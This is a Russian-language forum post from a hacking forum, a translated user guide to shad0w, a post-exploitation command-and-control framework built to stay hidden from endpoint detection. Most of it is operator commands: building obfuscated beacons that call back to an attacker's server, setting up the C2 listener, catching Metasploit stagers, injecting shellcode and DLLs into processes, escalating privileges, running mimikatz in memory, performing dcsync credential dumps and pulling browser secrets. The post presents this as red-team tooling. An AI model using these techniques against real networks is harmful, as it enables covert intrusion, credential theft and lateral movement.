• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Встречайте Shad0w

Azrv3l

win32kfull
Эксперт
Регистрация
30.03.2019
Сообщения
215
Реакции
539
shad0w.png


Проэкт доступен на GitHub
Постэксплуатация - большая часть работы красной команды. Хотя многие организации начинают взрослеть и развертывать ряд сложных решений для обнаружения и реагирования конечных точек (EDR) в своих сетях,
это требует от нас, как злоумышленников, соответствующих мер. Нам необходимо обновить наш арсенал, чтобы дать нам возможность успешно работать в их сетях. Вот почему сегодня я представляю shad0w.

shad0w - это среда постэксплуатации, которая предназначена для скрытой работы в таких сетях, предоставляя оператору гораздо больший контроль над своими действиями.
В прошлом я подробно рассказывал о некоторых методах и приемах, которые использует shad0w. Этот блог будет служить документацией по использованию shad0w, я буду держать его в курсе новых функций, которые появятся в будущем.

Установка
shad0w разработан для запуска внутри докера, это должно облегчить жизнь оператору, поскольку у него есть некоторые очень специфические зависимости, которые необходимы для его правильной работы. Установка очень проста, требуются только две команды:
Bash:
$ git clone https://github.com/bats3c/shad0w.git && cd shad0w
$ sudo ./shad0w install

Это создаст докер контейнер с именем shad0w. На сборку уйдет примерно 10 минут.

Когда это будет завершено, вы сможете использовать команду shad0w. Эту команду следует использовать для запуска shad0w, а не делать это вручную через докер.

Пример команды ниже:
Bash:
$ shad0w --help

Даст вот такой вывод:

1645116098200.png


Beacons
Имплантаты shad0w называются beacons. Есть два типа beacons: безопасные и небезопасные.
Защищенные beacons предназначены для работы в средах, где жизненно важно оставаться незамеченными,
в то время как небезопасные beacons предназначены для сред, где безопасность гораздо менее строгая.

1645116141000.png


Каждый beacon имеет возможность статической и поэтапной полезной нагрузки. статические полезные нагрузки будут хранить в себе весь код beacon, поэтому они будут намного больше.
Где как поэтапные полезные данные содержат только заглушку, которая будет загружать и выполнять остальную полезную нагрузку.

Также есть поддержка stager'ов metasploits reverse_https, я расскажу об этом более подробно позже в этом посте.

Общий формат для генерации маяка следующий.
  • Полезная нагрузка
    Это контролируется с помощью флага -p и имеет формат arch / os / security / static. Например, для генерации 64-битного защищенного поэтапного beacon Windows строка полезной нагрузки будет x64 / windows / secure,а для создания статической версии - x64 / windows / secure / static. В настоящее время поддерживается только 64-битные Windows, но в будущем будет поддерживаться гораздо более широкий спектр архитектур и операционных систем.
  • Адрес
    Это IP / домен, к которому beacon будет подключаться обратно. Это может быть либо редиректор, либо C2, в зависимости от вашего опыта. Его контролирует флаг -H.
  • Порт
    Порт, на который будет звонить beacon. По умолчанию установлено значение 443, хотя это можно изменить с помощью флага -P.
  • Джиттер
    Джиттер - это задержка между обратными вызовами, которую сделает маяк. По умолчанию установлено значение 1 секунда, но это значение можно изменить с помощью флага -j.
  • Формат
    Это формат beacon. В настоящее время существует 4 различных формата; EXE, DLL, Powershell, ShellCode. Они соответствуют exe, dll, psh и raw соответственно. Его можно контролировать с помощью флага -f.
  • Вывод
    Это файл для хранения сгенерированного beacon.
  • No Shrink
    Из-за библиотеки JSON beacon могут быть довольно большими. Уменьшение размера при создании EXE будет сжиматься через UPX, после чего используются некоторые методы обфускации, чтобы скрыть факт использования UPX.
    Чтобы пропустить этот этап, вы можете использовать флаг -n.
  • Режим отладки
    Чтобы скомпилировать маяк в режиме отладки, используйте флаг -d.
Ниже приведен пример создания защищенного поэтапного beacon в формате EXE.
Bash:
$ shad0w beacon -p x64/windows/secure -H 192.168.1.81 -f exe -o beacon.exe

1645116238800.png


Поднимаем C2
Хотя скоро появится командный сервер, в настоящее время каждый пользователь должен запустить свой собственный экземпляр C2.

Это делается с помощью аргумента listen при вызове shad0w.


Bash:
$ shad0w listen --help


1645116309000.png


Некоторые варианты настройки C2 приведены ниже.
  • Адрес и порт
    Адрес и порт, которые будет прослушивать C2, обрабатываются флагами -a и -p соответственно.
  • Пользовательские сертификаты
    Используя флаги -k и -c, вы можете указать C2 использовать разные сертификаты и ключи. Вы также можете сгенерировать новые значения по умолчанию, запустив make в каталоге certs /.
  • Зеркальное отображение веб-сайта
    C2 обеспечивает возможность прямого прокси-сервера веб-сайта, поэтому при подключении к нему через веб-браузер C2 будет проксировать весь контент на веб-сайт и с него, его зеркальное отображение. Это можно настроить с помощью флага -m.
  • Режим отладки
    Переключение с флагом -d.
  • Установка конечной точки
    Важно установить конечную точку. Это первое место, куда beacon обратится либо к перенаправителю, либо к C2. Все, что вы установили как -H при создании beacon, должно быть установлено как конечная точка C2 с помощью флага -e.
Приведенная ниже команда является примером развёртывания сервера C2. Это займет примерно 20-30 секунд, так как он скомпилирует свежие полезные данные для использования со стейджерами и эксплойтами.
Bash:
$ shad0w listen -e 192.168.1.18

Это будет интерфейс, который вам будет представлен после загрузки C2:

1645116414500.png


Получение обратных вызовов Meterpreter
Я решил, что вместо того, чтобы переписывать каждый эксплойт и модули metasploit, более разумным вариантом было бы добавить поддержку stager'ов metasploit, позволяющую загружать beacon shad0w вместо meterpreter.
Для этого вам потребуется всего лишь пара дополнительных шагов.

Сначала вам нужно убедиться, что LHOST и LPORT указывают на shad0w C2. Затем отключите обработчик полезной нагрузки metasploit по умолчанию и установите для функции выхода значение none.
Bash:
msf5> set DisablePayloadHandler true
msf5> set EXITFUNC none

Как только это будет сделано, вам нужно будет установить StagerURILength. Это важно для того, чтобы C2 мог идентифицировать обратный вызов stager meterpreter.
Его можно установить на любое значение, но вы должны его запомнить.
Bash:
msf5> set StagerURILength 1337

Возможно настроить beacon shad0w только как reverse_https, поэтому полезная нагрузка должна быть установлена так
Bash:
msf5> set payload windows/x64/meterpreter/reverse_https

Как только всё будет сделано, вам нужно будет убедиться, что ваша переменная MsfUriSize в shad0w установлена так же, как ваш StagerURILength в metasploit.
Это можно сделать с помощью команды set:
Bash:
shad0w ≫ set -v MsfUriSize -d 1337

Теперь, когда модули metasploit запущены, в случае их успешного выполнения вам будет предоставлен beacon shad0w.

1645116475700.png


1645116521600.png


Взаимодействие с Beacon
Взаимодействие и использование beacon очень просто и выполняется с помощью команд через интерфейс командной строки.

Команда beacons используется для вывода списка beacon и взаимодействия с ними. Вы можете использовать его для вывода списка текущих beacon.
Bash:
shad0w ≫ beacons

1645116580700.png


Чтобы затем взаимодействовать с beacon, вы используете флаг -i с номером маяка.
Bash:
shad0w ≫ beacons -i 1

1645116627800.png


Когда вы взаимодействуете с beacon, в нижней части вашего терминала появляется полоса с информацией о нём.

1645116684400.png


Список команд доступен через help, на данный момент их около 40.

Взаимодействие с FS
С активным beacon shad0w очень легко взаимодействовать с файловой системой. Это можно сделать с помощью команд, аналогичных командам командной строки Linux.

Чтобы получить список файлов в каталоге, используйте команду ls:
Bash:
shad0w(SYSTEM@DC01)ls
shad0w(SYSTEM@DC01)ls C:\Users

1645116723500.png


Вы можете изменить текущий каталог с помощью команды cd.
Bash:
shad0w(SYSTEM@DC01)cd C:\Users

1645116763300.png


Вы также можете смотреть абсолютный путь к текущей дериктории, или удалять файлы:
Bash:
shad0w(SYSTEM@DC01)pwd
shad0w(SYSTEM@DC01)rm deleteme.txt

1645116808900.png


Для создания дериктории используйте команду mkdir:
Bash:
shad0w(SYSTEM@DC01)mkdir DirectoryName

1645117026900.png


Управление процессами
Важно, чтобы, получив активный beacon, вы не ограничивались одним процессом и могли перечислять, переносить и создавать новые beacon и процессы столько, сколько сочтете нужным.
Все это можно сделать с помощью shad0w.

Используя getpid, вы можете получить информацию о процессе, в котором работает beacon.
Bash:
shad0w(SYSTEM@DC01) ≫ getpid

1645117070700.png


С помощью команды ps вы можете перечислить все текущие процессы и некоторую информацию о них.
Bash:
shad0w(SYSTEM@DC01)ps

1645117106300.png


Если вы решите отказаться от текущего процесса, вы можете использовать ряд вариантов. Чтобы просто полностью переместить текущий beacon в новый процесс, вы можете использовать команду migrate.
Bash:
shad0w(SYSTEM@DC01) ≫ migrate -p 4404

1645117146000.png


Чтобы внедрить новую копию текущего beacon в процесс, вы можете использовать команду binject.
Bash:
shad0w(SYSTEM@DC01) ≫ binject -p 4404

1645117171900.png


Также можно внедрять в процессы как raw шеллкод, так и библиотеки DLL.
Это можно сделать с помощью shinject и dllinject.
Bash:
shad0w(SYSTEM@DC01) ≫ shinject -p 8725 -f shellcode.bin
shad0w(SYSTEM@DC01) ≫ dllinject -p 4267 -f yourfile.dll

Эскаляция привилегий
Встроенная поддержка повышения привилегий с помощью команды elevate. Чтобы перечислить доступные эксплойты,
вы можете использовать команду -l и -c an -u для проверки и использования эксплойта.
Bash:
shad0w(LOCAL SERVICE@DC01) ≫ elevate -l
shad0w(LOCAL SERVICE@DC01) ≫ elevate -c system_printspoofer
shad0w(LOCAL SERVICE@DC01) ≫ elevate -u system_printspoofer

Используя приведенные выше команды, вы можете увидеть, как мы перешли от beacon с разрешениями LOCAL SERVICE к учетной записи компьютера DC01 $.

1645117226700.png


В будущем я добавлю больше эксплойтов.

Выполнение кода в памяти
Можно выполнять сборки .NET, EXE, DLL, VBS, JS или XSL-файлы внутри памяти. Это возможно с помощью команды execute.
Файл должен быть передан через флаг -f, а любые аргументы - через флаг -p.
Bash:
shad0w(SYSTEM@DC01) ≫ execute -f bin/mimikatz.x64.exe
shad0w(SYSTEM@DC01) ≫ execute -f bin/mimikatz.x64.exe -p coffee


1645117276400.png


Socks Proxy
В настоящее время для проксирования socks используется слегка модифицированная версия SharpSock.
Самый простой способ установить соединение socks - использовать флаг -q, это откроет «быстрое» соединение.
Bash:
shad0w(SYSTEM@DC01) ≫ sharpsocks -q


1645117384500.png


Также возможно использование аргументов server и listen для создания гораздо более сложных соединений.

Unmanaged PowerShell
Также имеется поддержка неуправляемого выполнения PowerShell. Это делается с помощью команды psh.
Использование очень гибкое и позволяет выполнять широкий спектр действий.

Использование флага -c выполнит один запрос PowerShell.
Bash:
shad0w(SYSTEM@DC01) ≫ psh -c Write-Output $PSversionTable


1645117419900.png


Также возможно использование модулей. Чтобы вывести список доступных в настоящее время модулей, вы можете использовать флаг -l.
Модули можно добавить, поместив их в каталог сценариев и перестроив shad0w.
Bash:
shad0w(SYSTEM@DC01) ≫ psh -l


1645117452200.png


Чтобы импортировать модуль (или модули), вам нужно использовать флаг -m. Он разместит модули по случайному пути на C2,
затем он будет загружен и вызван перед выполнением команды, заданной через -c.
Bash:
shad0w(SYSTEM@DC01) ≫ psh -m GetHash -c Invoke-GetHash
shad0w(SYSTEM@DC01) ≫ psh -m GetHash,PowerUp -c Invoke-AllChecks; Invoke-GetHash


1645117478300.png


Вы можете получить информацию о модулях, используя флаг -i.

.NET Enumeration
Вы можете перечислить доступные версии .NET с помощью команды dotnet.
Bash:
shad0w(SYSTEM@DC01) ≫ dotnet


1645117501800.png


GhostPack
Я написал модули для всех двоичных файлов GhostPack. Это позволяет запускать их с помощью одной команды, ничего не выполняя.
Bash:
shad0w(SYSTEM@DC01) ≫ seatbelt
shad0w(SYSTEM@DC01) ≫ rubeus
shad0w(SYSTEM@DC01) ≫ sharpdpapi
shad0w(SYSTEM@DC01) ≫ sharpwmi
shad0w(SYSTEM@DC01) ≫ sharpup
shad0w(SYSTEM@DC01) ≫ safetykatz
shad0w(SYSTEM@DC01) ≫ sharpdump
shad0w(SYSTEM@DC01) ≫ sharpchrome


1645117618400.png


Используя эти модули, можно с легкостью выполнять различные техники бокового перемещения.

BloodHound
Существует поддержка bloodhound через команду sharphound, как и все модули, она поддерживает все переключатели командной строки исходной программы.'
Bash:
shad0w(SYSTEM@DC01) ≫ sharphound

После запуска sharphound вы можете использовать команду загрузки для загрузки вывода.
Bash:
shad0w(SYSTEM@DC01) ≫ download 20200920035847_BloodHound.zip


1645117649800.png


Mimikatz
Также имеется встроенный модуль mimikatz. Это еще больше расширяет возможности,
позволяя вам намного проще выполнять такие действия, как dcsync и pth.

Поскольку это пример, я покажу синхронизацию от DC, но она, очевидно, все еще работает в других местах и ситуациях.
Bash:
shad0w(SYSTEM@DC01) ≫ mimikatz -x "lsadump::dcsync /user:Administrator"


1645117675100.png


Убираем Beacon
Наконец, когда пришло время закончить жизнь beacon, это можно сделать с помощью команды die.
shad0w предупредит вас, а затем, когда вы введете команду -y, beacon будет убит.
Bash:
shad0w(SYSTEM@DC01) ≫ die
shad0w(SYSTEM@DC01) ≫ die -y


1645117702900.png


О Будующем
Я работаю над реализацией командного сервера и клиентов с графическим интерфейсом, а также над некоторыми новыми интересными функциями. Если вы хотите помочь разработке,
не стесняйтесь делать пул-реквесты в github или напишите мне в моем твиттере @_batsec_, если вы хотите знать, где мне может понадобиться помощь.

От ТС
Оригинал на вот.
Спасибо weaver за материал для перевода.

Перевод:
Azrv3l cпециально для xss.pro
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх